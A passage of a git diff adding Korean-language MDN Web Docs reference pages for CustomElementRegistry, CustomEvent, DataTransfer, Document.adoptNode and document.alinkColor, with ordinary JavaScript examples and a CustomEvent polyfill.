+   <td>{{HTMLElement("style")}} and {{HTMLElement("link")}} elements in the document</td>
+   <td>Yes</td>
+   <td>{{domxref("StyleSheet.ownerNode", ".ownerNode")}}</td>
+   <td>{{domxref("HTMLLinkElement")}},<br>
+    {{domxref("HTMLStyleElement")}},<br>
+    or {{domxref("SVGStyleElement")}}</td>
+   <td>{{domxref("LinkStyle.sheet", ".sheet")}}</td>
+  </tr>
+  <tr>
+   <td>CSS {{cssxref("@import")}} rule in other style sheets applied to the document</td>
+   <td>Yes</td>
+   <td>{{domxref("CSSStyleSheet.ownerRule", ".ownerRule")}}</td>
+   <td>{{domxref("CSSImportRule")}}</td>
+   <td>{{domxref("CSSImportRule.styleSheet", ".styleSheet")}}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;?xml-stylesheet ?&gt;</code> processing instruction in the (non-HTML) document</td>
+   <td>Yes</td>
+   <td>{{domxref("StyleSheet.ownerNode", ".ownerNode")}}</td>
+   <td>{{domxref("ProcessingInstruction")}}</td>
+   <td>{{domxref("LinkStyle.sheet", ".sheet")}}</td>
+  </tr>
+  <tr>
+   <td>HTTP Link Header</td>
+   <td>Yes</td>
+   <td><em>N/A</em></td>
+   <td>N/A</td>
+   <td>N/A</td>
+  </tr>
+  <tr>
+   <td>User agent (default) style sheets</td>
+   <td>No</td>
+   <td>N/A</td>
+   <td>N/A</td>
+   <td>N/A</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM", "#cssstylesheet", 'CSSStyleSheet')}}</td>
+   <td>{{Spec2("CSSOM")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Style", "css.html#CSS-CSSStyleSheet", "CSSStyleSheet")}}</td>
+   <td>{{Spec2("DOM2 Style")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.CSSStyleSheet")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/CSS_Object_Model/Using_dynamic_styling_information">Using dynamic styling information</a></li>
+</ul>
diff --git a/files/ko/web/api/customelementregistry/index.html b/files/ko/web/api/customelementregistry/index.html
new file mode 100644
index 0000000000..4cc311f276
--- /dev/null
+++ b/files/ko/web/api/customelementregistry/index.html
@@ -0,0 +1,94 @@
+---
+title: CustomElementRegistry
+slug: Web/API/CustomElementRegistry
+tags:
+  - API
+  - CustomElementRegistry
+  - Experimental
+  - Interface
+  - Reference
+  - Web Components
+translation_of: Web/API/CustomElementRegistry
+---
+<div>{{DefaultAPISidebar("Web Components")}}</div>
+
+<p><span class="seoSummary"><strong><code>CustomElementRegistry</code></strong> 인터페이스는 사용자 지정 요소를 등록하고, 등록한 요소를 가져올 수 있는 메서드를 제공합니다.</span> 인스턴스에 접근하려면 {{domxref("window.customElements")}} 속성을 사용하세요.</p>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("CustomElementRegistry.define()")}}</dt>
+ <dd>새로운 <a href="/ko/docs/Web/Web_Components/Custom_Elements">사용자 지정 요소</a>를 정의합니다.</dd>
+ <dt>{{domxref("CustomElementRegistry.get()")}}</dt>
+ <dd>유명 사용자 지정 요소의 생성자를 반환합니다. 그런 요소가 없는 경우 {{jsxref("undefined")}}를 대신 반환합니다.</dd>
+ <dt>{{domxref("CustomElementRegistry.upgrade()")}}</dt>
+ <dd>사용자 지정 요소가 자신의 섀도 루트(shadow root)에 연결되기 전에 직접 업그레이드합니다.</dd>
+ <dt>{{domxref("CustomElementRegistry.whenDefined()")}}</dt>
+ <dd>주어진 이름의 사용자 지정 요소가 등록되는 순간 이행하는, 빈 {{jsxref("Promise")}}를 반환합니다. 만약 그런 요소가 이미 등록된 경우 즉시 이행합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 코드는 <a href="https://github.com/mdn/web-components-examples/tree/master/word-count-web-component">word-count-web-component</a> 예제에서 가져온 것입니다(<a href="https://mdn.github.io/web-components-examples/word-count-web-component/">라이브로 확인하세요</a>). 사용자 지정 요소 클래스를 생성한 후, {{domxref("CustomElementRegistry.define()")}} 메서드로 등록하는 과정을 살펴보세요.</p>
+
+<pre class="brush: js">// Create a class for the element
+class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // Always call super first in constructor
+    super();
+
+    // count words in element's parent element
+    var wcParent = this.parentNode;
+
+    function countWords(node){
+      var text = node.innerText || node.textContent
+      return text.split(/\s+/g).length;
+    }
+
+    var count = 'Words: ' + countWords(wcParent);
+
+    // Create a shadow root
+    var shadow = this.attachShadow({mode: 'open'});
+
+    // Create text node and add word count to it
+    var text = document.createElement('span');
+    text.textContent = count;
+
+    // Append it to the shadow root
+    shadow.appendChild(text);
+
+
+    // Update count when element content changes
+    setInterval(function() {
+      var count = 'Words: ' + countWords(wcParent);
+      text.textContent = count;
+    }, 200)
+
+  }
+}
+
+// Define the new element
+customElements.define('word-count', WordCount, { extends: 'p' });</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "custom-elements.html#customelementregistry", "CustomElementRegistry")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.CustomElementRegistry")}}</p>
diff --git a/files/ko/web/api/customevent/customevent/index.html b/files/ko/web/api/customevent/customevent/index.html
new file mode 100644
index 0000000000..428ca288ac
--- /dev/null
+++ b/files/ko/web/api/customevent/customevent/index.html
@@ -0,0 +1,110 @@
+---
+title: CustomEvent()
+slug: Web/API/CustomEvent/CustomEvent
+tags:
+  - API
+  - CustomEvent
+  - 레퍼런스
+  - 생성자
+  - 이벤트
+translation_of: Web/API/CustomEvent/CustomEvent
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code><strong>CustomEvent()</strong></code> 생성자는 새로운 {{domxref("CustomEvent")}} 를 생성합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"> <var>event</var> = new CustomEvent(<var>typeArg</var>, <var>customEventInit</var>);</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>typeArg</code></dt>
+ <dd>{{domxref("DOMString")}} 은 이벤트의 이름을 나타냅니다.</dd>
+ <dt><code>customEventInit</code> {{optional_inline}}</dt>
+ <dd><code>CustomEventInit</code> 딕셔너리는 다음 필드를 갖습니다.
+ <ul>
+  <li><code>"detail"</code>: 옵션이며 기본 값은 <code>null</code> 입니다. 모든 타입을 사용할 수 있으며 이벤트에 관련된 이벤트-의존 값입니다.</li>
+ </ul>
+
+ <div class="note">
+ <p><var><code>CustomEventInit</code> 딕셔너리는 {{domxref("Event.Event", "EventInit")}} 으로부터의 필드도 허용합니다.</var></p>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>지정한 타입의 새로운 <code>CustomEvent</code> 객체. <code>CustomEventInit</code> 이 제공되었다면 그에 따른 모든 프로퍼티가 구성됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// 적당한 이벤트 리스터 추가
+obj.addEventListener("cat", function(e) { process(e.detail) });
+
+// 이벤트 생성 및 실행
+var event = new CustomEvent("cat", {
+  detail: {
+    hazcheeseburger: true
+  }
+});
+obj.dispatchEvent(event);</pre>
+
+<p>더 많은 예제는 <a href="https://developer.mozilla.org/ko/docs/Web/Guide/Events/Creating_and_triggering_events">이벤트 생성 및 트리거</a> 문서에서 확인하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-customevent-customevent','CustomEvent()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.CustomEvent.CustomEvent")}}</p>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>다음 코드를 사용해 <code>CustomEvent()</code> 생성자의 기능을 인터넷 익스플로러 9 이상에서 폴리필링할 수 있습니다.</p>
+
+<pre class="brush: js">(function () {
+
+  if ( typeof window.CustomEvent === "function" ) return false;
+
+  function CustomEvent ( event, params ) {
+    params = params || { bubbles: false, cancelable: false, detail: undefined };
+    var evt = document.createEvent( 'CustomEvent' );
+    evt.initCustomEvent( event, params.bubbles, params.cancelable, params.detail );
+    return evt;
+   }
+
+  CustomEvent.prototype = window.Event.prototype;
+
+  window.CustomEvent = CustomEvent;
+})();</pre>
+
+<p>Internet Explorer 9 이상은 window 에 CustomEvent 를 추가하지만, 올바른 구현이 아니며, 이는 함수입니다.</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("CustomEvent")}}</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/Guide/Events/Creating_and_triggering_events">이벤트 생성 및 트리거</a></li>
+</ul>
diff --git a/files/ko/web/api/customevent/index.html b/files/ko/web/api/customevent/index.html
new file mode 100644
index 0000000000..782f81ba74
--- /dev/null
+++ b/files/ko/web/api/customevent/index.html
@@ -0,0 +1,96 @@
+---
+title: CustomEvent
+slug: Web/API/CustomEvent
+tags:
+  - API
+  - DOM
+  - Interface
+  - NeedsCompatTable
+  - NeedsExample
+  - Reference
+translation_of: Web/API/CustomEvent
+---
+<p>{{APIRef("DOM")}}<strong><code>CustomEvent</code></strong> 인터페이스는 어플리케이션의 어떤 목적에 의해 초기화된 이벤트를 나타냅니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("CustomEvent.CustomEvent", "CustomEvent()")}}</dt>
+ <dd><code>CustomEvent</code> 를 생성합니다.</dd>
+</dl>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<dl>
+ <dt>{{domxref("CustomEvent.detail")}} {{readonlyinline}}</dt>
+ <dd>이벤트 초기화에 전달되는 모든 데이터.</dd>
+</dl>
+
+<p><em>이 인터페이스는 그 부모인 </em>{{domxref("Event")}} 로부터 프로퍼티를 상속받습니다:</p>
+
+<p>{{Page("/en-US/docs/Web/API/Event", "Properties")}}</p>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt>{{domxref("CustomEvent.initCustomEvent()")}} {{deprecated_inline}}</dt>
+ <dd>
+ <p><code>CustomEvent</code> 객체를 초기화합니다. 이벤트가 이미 디스패치되었다면, 이 메소드는 아무것도 하지 않습니다.</p>
+ </dd>
+</dl>
+
+<p><em>이 인터페이스는 그 부모인 </em>{{domxref("Event")}} 로부터 메소드를 상속받습니다:</p>
+
+<p>{{Page("/ko/docs/Web/API/Event", "Methods")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-customevent','CustomEvent')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p> </p>
+
+
+
+<p>{{Compat("api.CustomEvent")}}</p>
+
+<h2 id="권한_코드에서_비권한_코드로_실행">권한 코드에서 비권한 코드로 실행</h2>
+
+<p>CustomEvent 를 권한 코드(예, 확장 기능)에서 비권한 코드(예, 웹페이지)로 실행할 때, 보안 문제를 고려해야 합니다. Firefox 와 다른 Gecko 어플리케이션은 한 컨텍스트에서 생성된 객체가 다른 곳에서 바로 사용되는 것을 제한하여 보안상의 문제를 자동으로 방지하지만, 이는 여러분의 코드가 예상한대로 실행되는 것을 제한하기도 합니다.</p>
+
+<p>CustomEvent 객체는 반드시 동일한 <a href="/ko/docs/XUL/window">창</a>에서 생성해야 합니다. CustomEvent 의 <code>detail</code> 속성도 동일하게 제한됩니다. String 과 Array 값은 제한 없이 그 컨텐츠를 읽을 수 있지만, 커스텀 객체는 그렇지 않습니다. 커스텀 객체를 사용할 때, <a href="/ko/docs/Mozilla/Tech/XPCOM/Language_Bindings/Components.utils.cloneInto">Components.utils.cloneInto()</a> 를 사용해 컨텐츠 스크립트에서 읽을 수 있는 객체의 속성을 정의해야 합니다.</p>
+
+<pre class="brush: js">// doc 은 컨텐츠 다큐먼트의 참조입니다
+function dispatchCustomEvent(doc) {
+  var eventDetail = Components.utils.cloneInto({foo: 'bar'}, doc.defaultView);
+  var myEvent = doc.defaultView.CustomEvent("mytype", eventDetail);
+  doc.dispatchEvent(myEvent);
+}</pre>
+
+<p>함수 노출은 크롬 권한으로 실행하기 위한 컨텐츠 스크립트를 허용하여 보안 취약점에 열려있다는 점을 주의하시기 바랍니다.</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Archive/Add-ons/Interaction_between_privileged_and_non-privileged_pages" title="/en-US/docs/Code_snippets/Interaction_between_privileged_and_non-privileged_pages">Interaction between privileged and non-privileged pages</a></li>
+ <li><a href="/ko/docs/Web/API/Window/postMessage" title="/en-US/docs/Web/API/window.postMessage">Window.postMessage</a></li>
+ <li><a href="/ko/docs/Web/Guide/Events/Creating_and_triggering_events">이벤트 생성 및 트리거</a></li>
+</ul>
diff --git a/files/ko/web/api/datatransfer/getdata/index.html b/files/ko/web/api/datatransfer/getdata/index.html
new file mode 100644
index 0000000000..8a9edcf029
--- /dev/null
+++ b/files/ko/web/api/datatransfer/getdata/index.html
@@ -0,0 +1,112 @@
+---
+title: DataTransfer.getData()
+slug: Web/API/DataTransfer/getData
+tags:
+  - API
+  - HTML DOM
+  - Method
+  - Reference
+translation_of: Web/API/DataTransfer/getData
+---
+<div>
+<p>{{APIRef("HTML DOM")}}</p>
+</div>
+
+<p><strong><code>DataTransfer.getData()</code></strong> 메소드는 특정 형태를 위해 ({{domxref("DOMString")}}로) 끌어낸 데이터를 회수한다. 가령, 끌어내는 동작이 데이터를 포함하지 않는다면, 이 메소드는 빈 문자열을 반환한다.</p>
+
+<p>예시 데이터 형식으로는 <code>text/plain</code> 와 <code>text/uri-list </code>이 있다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>dataTransfer</var>.getData(<em>format</em>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code><em>format</em></code></dt>
+ <dd>회수할 데이터 형식을 나타내는 {{domxref("DOMString")}}</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<dl>
+ <dt>{{domxref("DOMString")}}</dt>
+ <dd>특정 <code>format</code>을 위해 끌어낸 데이터를 나타내는 {{domxref("DOMString")}}. 만약 끌어내는 동작이 데이터를 가지고 있지 않거나 동작이 특정 <code>format</code> 에 대한 데이터를 가지고 있지 않다면, 이 메소드는 빈 문자열을 반환한다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>이 예시는 {{domxref("DataTransfer")}} 객체의 {{domxref("DataTransfer.getData()","getData()")}} 와 {{domxref("DataTransfer.setData()","setData()")}} 메소드의 사용을 보여준다.</p>
+
+<h3 id="HTML_내용">HTML 내용</h3>
+
+<pre class="brush: html">&lt;div id="div1" ondrop="drop(event)" ondragover="allowDrop(event)"&gt;
+    &lt;span id="drag" draggable="true" ondragstart="drag(event)"&gt;drag me to the other box&lt;/span&gt;
+&lt;/div&gt;
+&lt;div id="div2" ondrop="drop(event)" ondragover="allowDrop(event)"&gt;&lt;/div&gt;
+</pre>
+
+<h3 id="CSS_내용">CSS 내용</h3>
+
+<pre class="brush: css">#div1, #div2 {
+    width:100px;
+    height:50px;
+    padding:10px;
+    border:1px solid #aaaaaa;
+}
+</pre>
+
+<h3 id="JavaScript_내용">JavaScript 내용</h3>
+
+<pre class="brush: js">function allowDrop(allowdropevent) {
+    allowdropevent.target.style.color = 'blue';
+    allowdropevent.preventDefault();
+}
+
+function drag(dragevent) {
+    dragevent.dataTransfer.setData("text", dragevent.target.id);
+    dragevent.target.style.color = 'green';
+}
+
+function drop(dropevent) {
+    dropevent.preventDefault();
+    var data = dropevent.dataTransfer.getData("text");
+    dropevent.target.appendChild(document.getElementById(data));
+    document.getElementById("drag").style.color = 'black';
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p id="EmbedLiveSample('Example'_''_''_''_'WebAPIDataTransfergetData')">{{ EmbedLiveSample('예제', 600) }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#dom-datatransfer-getdata", "getData()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "editing.html#dom-datatransfer-getdata", "getData()")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>첫 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.DataTransfer.getData")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<p>{{page("/en-US/docs/Web/API/DataTransfer", "See also")}}</p>
diff --git a/files/ko/web/api/datatransfer/index.html b/files/ko/web/api/datatransfer/index.html
new file mode 100644
index 0000000000..bf4e78de4b
--- /dev/null
+++ b/files/ko/web/api/datatransfer/index.html
@@ -0,0 +1,137 @@
+---
+title: DataTransfer
+slug: Web/API/DataTransfer
+tags:
+  - API
+  - DataTransfer
+  - HTML Drag and Drop API
+  - Interface
+  - Reference
+  - Web Development
+  - drag and drop
+translation_of: Web/API/DataTransfer
+---
+<div>{{APIRef("HTML Drag and Drop API")}}</div>
+
+<p>The <code><strong>DataTransfer</strong></code> object is used to hold the data that is being dragged during a drag and drop operation. It may hold one or more data items, each of one or more data types. For more information about drag and drop, see <a href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API">HTML Drag and Drop API</a>.</p>
+
+<p>This object is available from the {{domxref("DragEvent.dataTransfer","dataTransfer")}} property of all {{domxref("DragEvent","drag events")}}.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("DataTransfer.DataTransfer","DataTransfer()")}}</dt>
+ <dd>Creates and returns a new <code>DataTransfer</code> object.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<h3 id="Standard_properties">Standard properties</h3>
+
+<dl>
+ <dt>{{domxref("DataTransfer.dropEffect")}}</dt>
+ <dd>Gets the type of drag-and-drop operation currently selected or sets the operation to a new type. The value must be <code>none</code>, <code>copy</code>, <code>link</code> or <code>move</code>.</dd>
+ <dt>{{domxref("DataTransfer.effectAllowed")}}</dt>
+ <dd>Provides all of the types of operations that are possible. Must be one of <code>none</code>, <code>copy</code>, <code>copyLink</code>, <code>copyMove</code>, <code>link</code>, <code>linkMove</code>, <code>move</code>, <code>all</code> or <code>uninitialized</code>.</dd>
+ <dt>{{domxref("DataTransfer.files")}}</dt>
+ <dd>Contains a list of all the local files available on the data transfer. If the drag operation doesn't involve dragging files, this property is an empty list.</dd>
+ <dt>{{domxref("DataTransfer.items")}} {{readonlyInline}}</dt>
+ <dd>Gives a {{domxref("DataTransferItemList")}} object which is a list of all of the drag data.</dd>
+ <dt>{{domxref("DataTransfer.types")}} {{readonlyInline}}</dt>
+ <dd>An array of {{domxref("DOMString","strings")}} giving the formats that were set in the {{event("dragstart")}} event.</dd>
+</dl>
+
+<h3 id="Gecko_properties">Gecko properties</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<div class="note"><strong>Note:</strong> All of the properties in this section are Gecko-specific.</div>
+
+<dl>
+ <dt>{{domxref("DataTransfer.mozCursor")}}</dt>
+ <dd>Gives the drag cursor's state. This is primarily used to control the cursor during tab drags.</dd>
+ <dt>{{domxref("DataTransfer.mozItemCount")}} {{readonlyInline}}</dt>
+ <dd>Gives the number of items in the drag operation.</dd>
+ <dt>{{domxref("DataTransfer.mozSourceNode")}} {{readonlyInline}}</dt>
+ <dd>The {{ domxref("Node") }} over which the mouse cursor was located when the button was pressed to initiate the drag operation. This value is <code>null</code> for external drags or if the caller can't access the node.</dd>
+ <dt>{{domxref("DataTransfer.mozUserCancelled")}} {{readonlyInline}}</dt>
+ <dd>This property applies only to the <code>dragend</code> event, and is <code>true</code> if the user canceled the drag operation by pressing escape. It will be <code>false</code> in all other cases, including if the drag failed for any other reason, for instance due to a drop over an invalid location.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<h3 id="Standard_methods">Standard methods</h3>
+
+<dl>
+ <dt>{{domxref("DataTransfer.clearData()")}}</dt>
+ <dd>Remove the data associated with a given type. The type argument is optional. If the type is empty or not specified, the data associated with all types is removed. If data for the specified type does not exist, or the data transfer contains no data, this method will have no effect.</dd>
+ <dt>{{domxref("DataTransfer.getData()")}}</dt>
+ <dd>Retrieves the data for a given type, or an empty string if data for that type does not exist or the data transfer contains no data.</dd>
+ <dt>{{domxref("DataTransfer.setData()")}}</dt>
+ <dd>Set the data for a given type. If data for the type does not exist, it is added at the end, such that the last item in the types list will be the new format. If data for the type already exists, the existing data is replaced in the same position.</dd>
+ <dt>{{domxref("DataTransfer.setDragImage()")}}</dt>
+ <dd>Set the image to be used for dragging if a custom one is desired.</dd>
+</dl>
+
+<h3 id="Gecko_methods">Gecko methods</h3>
+
+<p>{{Non-standard_header()}}</p>
+
+<div class="note"><strong>Note:</strong> All of the methods in this section are Gecko-specific.</div>
+
+<dl>
+ <dt>{{domxref("DataTransfer.addElement()")}}</dt>
+ <dd>Sets the drag source to the given element.</dd>
+ <dt>{{domxref("DataTransfer.mozClearDataAt()")}}</dt>
+ <dd>Removes the data associated with the given format for an item at the specified index. The index is in the range from zero to the number of items minus one.</dd>
+ <dt>{{domxref("DataTransfer.mozGetDataAt()")}}</dt>
+ <dd>Retrieves the data associated with the given format for an item at the specified index, or null if it does not exist. The index should be in the range from zero to the number of items minus one.</dd>
+ <dt>{{domxref("DataTransfer.mozSetDataAt()")}}</dt>
+ <dd>A data transfer may store multiple items, each at a given zero-based index. <code>mozSetDataAt()</code> may only be called with an index argument less than <code>mozItemCount</code> in which case an existing item is modified, or equal to <code>mozItemCount</code> in which case a new item is added, and the <code>mozItemCount</code> is incremented by one.</dd>
+ <dt>{{domxref("DataTransfer.mozTypesAt()")}}</dt>
+ <dd>Holds a list of the format types of the data that is stored for an item at the specified index. If the index is not in the range from 0 to the number of items minus one, an empty string list is returned.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>Every method and property listed in this document has its own reference page and each reference page either directly includes an example of the interface or has a link to an example.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interaction.html#datatransfer','DataTransfer')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td><code>mozCursor</code>, <code>mozItemCount</code>, <code>mozSourceNode</code>, <code>mozUserCancelled</code>, <code>addElement()</code>, <code>mozClearDataAt()</code>, <code>mozGetDataAt()</code>, <code>mozSetDataAt()</code> and <code>mozTypesAt</code> are Gecko specific.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'editing.html#the-datatransfer-interface','DataTransfer')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Not included in W3C HTML5 {{Spec2('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.DataTransfer")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API">Drag and drop</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Drag_operations">Drag Operations</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Recommended_Drag_Types">Recommended Drag Types</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Dragging_and_Dropping_Multiple_Items">Dragging and Dropping Multiple Items</a></li>
+ <li><a href="https://codepen.io/tech_query/pen/MqGgap">DataTransfer test - Paste or Drag</a></li>
+</ul>
diff --git a/files/ko/web/api/document/adoptnode/index.html b/files/ko/web/api/document/adoptnode/index.html
new file mode 100644
index 0000000000..d2cce901a6
--- /dev/null
+++ b/files/ko/web/api/document/adoptnode/index.html
@@ -0,0 +1,58 @@
+---
+title: Document.adoptNode()
+slug: Web/API/Document/adoptNode
+tags:
+  - API
+  - DOM
+  - DOM 레퍼런스
+  - 레퍼런스
+  - 메소드
+translation_of: Web/API/Document/adoptNode
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<div> </div>
+
+<p>외부 문서로부터 노드를 가져온다. 해당 노드와 그 하위트리는 기존의 문서에서 지워지고 해당 노드의 <code><a href="/en-US/docs/DOM/Node.ownerDocument" title="DOM/Node.ownerDocument">ownerDocument</a></code> 는 현재 문서로 바뀐다. 그리고 그 노드는 현재의 문서에 삽입된다.</p>
+
+<p><strong>Gecko 1.9 (Firefox 3)부터 지원</strong></p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox"><var>node</var> = <em>document</em>.adoptNode(<var>externalNode</var>);
+</pre>
+
+<dl>
+ <dt><code><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span>node</code></dt>
+ <dd>는 현재 문서에 삽입될 노드를 의미. 아직 해당 문서에 삽입되기 전이기 때문에 새로운 노드의 <a href="/en-US/docs/DOM/Node.parentNode"><code>parentNode</code></a>는 <code>null이다.</code><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span></dd>
+ <dt><code>externalNode</code></dt>
+ <dd>는 노드를 가져오기 위한 외부 문서에 있는 노드를 의미.</dd>
+</dl>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<p>{{todo}}</p>
+
+<h2 id="Notes" name="Notes">알아두기</h2>
+
+<p>보통 <code>adoptNode</code> 호출은 다른 방식으로 구현된 곳에서 노드를 불러오기 때문에 실패하는 경우가 많다. 하지만 브라우저로 인한 문제인 경우는 문제가 된다.</p>
+
+<p></p><p>Nodes from external documents should be cloned using <a href="/ko/docs/Web/API/Document/importNode" title="현재 문서가 아닌 외부 문서의 노드를 복사하여 현재 문서에 넣을 수 있도록 해줍니다."><code>document.importNode()</code></a> (or adopted using <a href="/ko/docs/Web/API/Document/adoptNode" title="외부 문서로부터 노드를 가져온다. 해당 노드와 그 하위트리는 기존의 문서에서 지워지고 해당 노드의 ownerDocument 는 현재 문서로 바뀐다. 그리고 그 노드는 현재의 문서에 삽입된다."><code>document.adoptNode()</code></a>) before they
+    can be inserted into the current document. For more on the <a href="/ko/docs/Web/API/Node/ownerDocument" title="Node.ownerDocument 읽기 전용 속성은 이 node 의 최상위 document 객체를 반환합니다."><code>Node.ownerDocument</code></a> issues, see the
+    <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">W3C DOM FAQ</a>.</p>
+
+    <p>Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many
+    sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for
+    improved future compatibility.</p><p></p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Document3-adoptNode">DOM Level 3 Core: Document.adoptNode</a></li>
+</ul>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/document.importNode">document.importNode</a></li>
+</ul>
diff --git a/files/ko/web/api/document/alinkcolor/index.html b/files/ko/web/api/document/alinkcolor/index.html
new file mode 100644
index 0000000000..9cbfe4a0e1
--- /dev/null
+++ b/files/ko/web/api/document/alinkcolor/index.html
@@ -0,0 +1,26 @@
+---
+title: document.alinkColor
+slug: Web/API/Document/alinkColor
+tags:
+  - DOM
+  - Gecko
+  - Gecko DOM Reference
+translation_of: Web/API/Document/alinkColor
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Summary</h3>
+<p>{{ Deprecated_header() }} document body에 있는 active link의 색깔을 설정하거나 설정된 값을 리턴합니다. 링크는 <code>mousedown</code> 과 <code>mouseup</code> 이벤트가 발생하는 중간에 활성화(active)됩니다.</p>
+<h3 id="Syntax" name="Syntax">Syntax</h3>
+<pre class="eval"><i>color</i> = document.alinkColor
+document.alinkColor =<i>color</i>
+</pre>
